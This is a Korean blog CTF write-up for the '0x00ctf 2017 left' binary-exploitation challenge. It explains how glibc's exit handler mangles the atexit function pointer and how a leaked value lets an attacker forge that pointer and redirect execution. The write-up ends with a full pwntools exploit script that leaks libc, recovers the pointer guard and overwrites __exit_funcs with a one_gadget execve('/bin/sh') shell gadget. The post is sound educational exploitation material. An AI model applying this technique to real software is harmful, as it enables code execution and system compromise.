티스토리 뷰

CTF write-up

0x00ctf - 2017 left

marshimaro aSiagaming 2018. 8. 14. 22:21

명확하게 exit_handler쪽을 알고 있어야 풀 수 있는 문제이다.
바이너리는 leak vector를 2개 주고, 1개는 라이브러리 릭, 하나는 임의로 원하는 주소의 값을 leak하게 해준다.
그리고 한 번 원하는 위치에 overwrite가 가능한데, FULL RELRO라서 GOT영역에 쓰지는 못한다.

그리고, 오버라이트 이후에는 malloc, free같은 함수도 쓰이지 않으므로, __malloc_hook, __free_hook을 덮어도 크게 의미가 없다.
(물론, exit_handler의 next pointer를 덮어쓰면 사용은 되지만 !)

여기서 이 조건을 이용할 수 있는 것은 exit_handler쪽의 atexit 함수 포인터 위치를 덮어쓰는 것이다.


λ peda$ pd exit
Dump of assembler code for function __GI_exit:
   0x00007ffff7a47030 <+0>:     lea    rsi,[rip+0x38a5c1]        # 0x7ffff7dd15f8 <__exit_funcs>
   0x00007ffff7a47037 <+7>:     sub    rsp,0x8
   0x00007ffff7a4703b <+11>:    mov    edx,0x1
   0x00007ffff7a47040 <+16>:    call   0x7ffff7a46f10 <__run_exit_handlers>
End of assembler dump.

exit() 함수가 호출되게되면, __exit_funcs라는 라이브러리 심볼 구조체를 가지고 __run_exit_handlers로 들어가게 된다.
__exit_funcs 구조체는 아래와 같은 구조체 형태를 하고 있다.


$1 = {
  next = 0x0,
  idx = 0x1,
  fns = {{
      flavor = 0x4,
      func = {
        at = 0xa4c989718fcde3eb,
        on = {
          fn = 0xa4c989718fcde3eb,
          arg = 0x0
        },
        cxa = {
          fn = 0xa4c989718fcde3eb,
          arg = 0x0,
          dso_handle = 0x0
        }
      }
    }, {
      flavor = 0x0,
      func = {
        at = 0x0,
        on = {
          fn = 0x0,
          arg = 0x0
        },
        cxa = {
          fn = 0x0,
          arg = 0x0,
          dso_handle = 0x0
        }
      }
    } <repeats 31 times>}
}

exit_handler의 내부 코드를 보면, flavor에 따라 switch-case로 나뉘게 되는데, 여기서 4번이 atexit handler를 호출하게 되는 것이다.
기존의 값은 at_exit에 _dl_fini의 주소가 들어있다.

하지만, 여기서 아래의 코드가 중요하다.

   0x00007ffff7a46fb9 <+169>:   mov    rdx,QWORD PTR [rax+0x18]
   0x00007ffff7a46fbd <+173>:   mov    rsi,QWORD PTR [rax+0x20]
   0x00007ffff7a46fc1 <+177>:   ror    rdx,0x11
   0x00007ffff7a46fc5 <+181>:   xor    rdx,QWORD PTR fs:0x30
   0x00007ffff7a46fce <+190>:   call   rdx

rdx가 여기서는 atexit에 있는 값인데, fs:0x30에 있는 값과 xor하고 0x11과 ror연산을 하게 된다.
이것을 역산해서 알아내고 해당 부분을 덮어주면 임의 함수호출을 유도할 수 있다 !
from pwn import *

# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

p = process(["./left"])

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p.recvuntil("(): ")
leak = int(p.recvuntil("\n")[:-1])
libc_base = leak - libc.symbols["printf"]
system = libc_base + libc.symbols["system"]
binsh = libc_base + 0x18cd57
__free_hook = libc_base + libc.symbols["__free_hook"]
initial = libc_base + 0x3c5c40
print hex(leak)
p.sendline(str(initial + 24))
p.recvuntil("content: ")
leak = int(p.recvuntil("\n")[:-1])
leak = ror(leak, 0x11, 64) & 0xffffffffffffffff

_dl_fini = libc_base + 0x3daab0
val = (leak ^ _dl_fini) & 0xffffffffffffffff
print hex(val)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
system = libc_base + 0x4526a
system = system ^ val & 0xffffffffffffffff
system = rol(system, 0x11, 64) & 0xffffffffffffffff

p.sendline(str(initial + 24))
#p.sendline(str(__free_hook))
p.sendline(str(system))

p.interactive()




'CTF write-up' 카테고리의 다른 글

0x00ctf - 2017 left  (0) 2018.08.14
christmas CTF 2017 childvm  (0) 2018.08.10
RealWorld CTF kid vm  (0) 2018.08.07
codegate 2015 steak  (0) 2018.08.05
ASIS CTF 2018 message_me  (0) 2018.08.03
CISCN-2017 BabyDriver  (0) 2018.08.03
댓글
댓글쓰기 폼